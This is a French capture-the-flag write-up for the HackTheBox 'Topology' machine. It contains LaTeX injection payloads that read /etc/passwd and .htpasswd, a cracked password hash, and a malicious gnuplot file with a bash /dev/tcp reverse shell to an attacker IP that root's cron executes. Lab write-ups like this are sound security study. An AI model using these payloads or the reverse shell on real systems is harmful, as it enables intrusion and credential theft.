Aller au contenu principal

HACKTHEBOX - TOPOLOGY

Enumeration

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration web

On constate une page simple, sans trop de choses. On teste un lien avec comme aperçu "LaTeX Equation Generator".

Ce lien nous mène sur un sous domaine :

http://latex.topology.htb/equation.php

On le renseigne dans notre /etc/hosts

En parallèle, nous renseignons notre fichier host avec les sous domaines que nous avons trouvé avec notre énumération de sous domaines :

Output gobuster
gobuster dns -d topology.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt  -t 100  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: topology.htb
[+] Threads: 100
[+] Timeout: 1s
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.topology.htb

Found: stats.topology.htb

Found: latex.topology.htb

Progress: 100000 / 100001 (100.00%)
===============================================================
Finished
===============================================================

Notre fichier hosts ressemble donc à cela :

Output
127.0.0.1       localhost

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

#topology
10.10.11.217 topology.htb dev.topology.htb stats.topology.htb latex.topology.htb

Nous ne voyons pas beaucoup de choses, si ce n'est qu'un graphique d'utilisation du serveur :

Foothold et user

LFI (Local File Inclusion) via LaTeX

Sur le sous-domaine dev.topology.htb on peut essayer de leaker des fichiers locaux, par exemple /etc/passwd :

Malheureusement, il y a un filtre qui nous empêche de le faire :

En regardant des payloads dans https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/LaTeX%20Injection/#read-file , on trouve un payload qui nous permet de faire une LFI partielle, soit la première ligne d'un fichier :

\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file

Seul problème, ce payload ne nous permet pas de leaker quelquonque fichier en entier. Nous cherchons un autre payload qui pourrait nous aider a faire une LFI complète.

$\lstinputlisting{/etc/passwd}$

Nous nous souvenons que nous avons un sous domaine dev.topology.htb, qui contient une mire d'authentification. Essayons de leaker des fichiers correspondant à ce sous domaine :

$\lstinputlisting{/var/www/dev/.htaccess}$

Nous avons donc un fichier .htaccess, qui contient la configuration de cette mire d'authentification. Ce dernier spécifie un fichier .htpasswd qui contient probablement les hash des mots de passes de dev.topology.htb :

$\lstinputlisting{/var/www/dev/.htpasswd}$

Cracking du hash

Nous avons un hash, que nous pouvons essayer de casser avec john :

Hash à casser
vdaisley:$apr1$10NUB/S2$58eeNVirnRDB5zAIbIxTY0

Output john
john hash.htpasswd --format=md5crypt --show
vdaisley:calculus20

1 password hash cracked, 0 left

Nous trouvons le mot de passe de vdaisley, qui peut être utilisé pour se connecter en SSH

Privilege Escalation via .plt file

Sur la machine, nous lançons un linpeas, mais nous ne trouvons rien d'intéressant. Cependant, si nous lançons un pspy (https://github.com/DominicBreuker/pspy), nous remarquons qu'un CRON est en marche :

Output pspy
2023/10/13 11:38:01 CMD: UID=0     PID=58183  | /usr/sbin/CRON -f
2023/10/13 11:38:01 CMD: UID=0 PID=58186 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58185 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58189 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58188 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58187 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58190 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58191 | /usr/sbin/CRON -f
2023/10/13 11:38:01 CMD: UID=0 PID=58192 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/10/13 11:38:01 CMD: UID=0 PID=58197 | sed s/,//g
2023/10/13 11:38:01 CMD: UID=0 PID=58196 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58195 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58194 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58193 | gnuplot /opt/gnuplot/loadplot.plt
2023/10/13 11:38:01 CMD: UID=0 PID=58199 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/13 11:38:01 CMD: UID=0 PID=58200 | gnuplot /opt/gnuplot/networkplot.plt

L'UID est à 0, donc c'est le user root qui lance ces commandes.

Cette commande est très intéressante :

find /opt/gnuplot -name *.plt -exec gnuplot {} ;

Cela veut dire que tous les fichiers .plt sur le dossier /opt/gnuplotsont exécutés par gnuplot en root. Mais avons nous les droits d'écriture sur ce dossier ?

Output ls
ls -alh /opt
total 12K
drwxr-xr-x 3 root root 4.0K May 19 13:04 .
drwxr-xr-x 18 root root 4.0K Jun 12 10:37 ..
drwx-wx-wx 2 root root 4.0K Oct 12 16:50 gnuplot

Nous n'avons pas les droits de lister les fichiers en tant que vdaisley, mais nous avons les droits d'écriture ! Il est possible d'élever nos privilèges si nous arrivons à faire exécuter un fichier .plt malveillant.

A l'aide du site https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/ , nous pouvons créer un fichier .plt malveillant qui nous fera un reverse shell :

Nous écrivons le fichier suivant à /opt/gnuplot/reverse.plt :

Contenu reverse.plt
system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/votreip/4444 0>&1'"

Puis le script sera lancé tous les ~1 minutes nous donnant un reverse shell. Voici le résultat sur pspy :

Output pspy
2023/11/25 20:17:01 CMD: UID=0     PID=1336   | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/11/25 20:17:01 CMD: UID=0 PID=1338 | whoami
2023/11/25 20:17:01 CMD: UID=0 PID=1337 | sh -c whoami
2023/11/25 20:17:01 CMD: UID=0 PID=1339 | gnuplot /opt/gnuplot/reverse.plt
2023/11/25 20:17:01 CMD: UID=0 PID=1340 | sh -c bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'
2023/11/25 20:17:01 CMD: UID=0 PID=1342 | /lib/systemd/systemd-udevd
2023/11/25 20:17:01 CMD: UID=0 PID=1341 | bash -c bash -i >& /dev/tcp/10.10.16.2/4444 0>&1
2023/11/25 20:17:02 CMD: UID=0 PID=1344 | bash -i
2023/11/25 20:17:02 CMD: UID=0 PID=1343 | /lib/systemd/systemd-udevd
2023/11/25 20:17:02 CMD: UID=0 PID=1345 | bash -i
2023/11/25 20:17:02 CMD: UID=0 PID=1348 | /bin/sh /usr/bin/lesspipe
2023/11/25 20:17:02 CMD: UID=0 PID=1347 | /bin/sh /usr/bin/lesspipe
2023/11/25 20:17:02 CMD: UID=0 PID=1349 |